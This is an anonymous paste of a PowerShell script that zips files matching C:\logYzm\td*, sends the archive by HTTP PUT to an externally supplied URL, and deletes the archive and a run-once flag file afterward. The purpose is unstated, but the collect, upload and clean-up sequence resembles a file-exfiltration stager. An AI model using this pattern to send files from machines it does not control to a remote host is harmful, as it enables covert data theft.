Advertisement
Guest User

Untitled

a guest
Oct 23rd, 2018
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.28 KB | None | 0 0
  1. function Add-Zip
  2. {
  3. param([string]$zipfilename)
  4.  
  5. if(-not (test-path($zipfilename)))
  6. {
  7. set-content $zipfilename ("PK" + [char]5 + [char]6 + ("$([char]0)" * 18))
  8. (dir $zipfilename).IsReadOnly = $false
  9. }
  10.  
  11. $shellApplication = new-object -com shell.application
  12. $zipPackage = $shellApplication.NameSpace($zipfilename)
  13.  
  14. foreach($file in $input)
  15. {
  16. $zipPackage.CopyHere($file.FullName)
  17. }
  18. }
  19. function Upload-File
  20. {
  21. param(
  22. [string]$Url,
  23. [string]$FilePath
  24. )
  25. $bufSize=1024*1000
  26. $timeout=10000000
  27. $wr = [System.Net.HttpWebRequest]::Create($url)
  28. $wr.Timeout = $timeout
  29. $wr.Method = "PUT"
  30. $wr.ContentType = "application/data"
  31. $wr.AllowWriteStreamBuffering=$false
  32. $wr.SendChunked=$true
  33. $rs = $wr.GetRequestStream()
  34. $fileStream = [System.IO.File]::OpenRead($FilePath)
  35. $chunk = New-Object byte[] $bufSize
  36. while($bytesRead = $fileStream.Read($chunk,0,$bufSize))
  37. {
  38. $rs.write($chunk, 0, $bytesRead)
  39. $rs.Flush()
  40. }
  41.  
  42. $fileStream.Close()
  43. $rs.Close()
  44. }
  45. $flag = "$env:TMP\vtest"
  46. if (test-path($flag))
  47. {
  48. exit;
  49. }
  50. echo 1 >$flag
  51. cd C:\\logYzm
  52. $z="$env:TMP\t.zip"
  53. if (test-path($z))
  54. {
  55. del $z
  56. }
  57. Get-ChildItem C:\\logYzm\\td*|Add-Zip $z
  58. Upload-File -Url $url -FilePath $z
  59. del $z
  60. del $flag
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement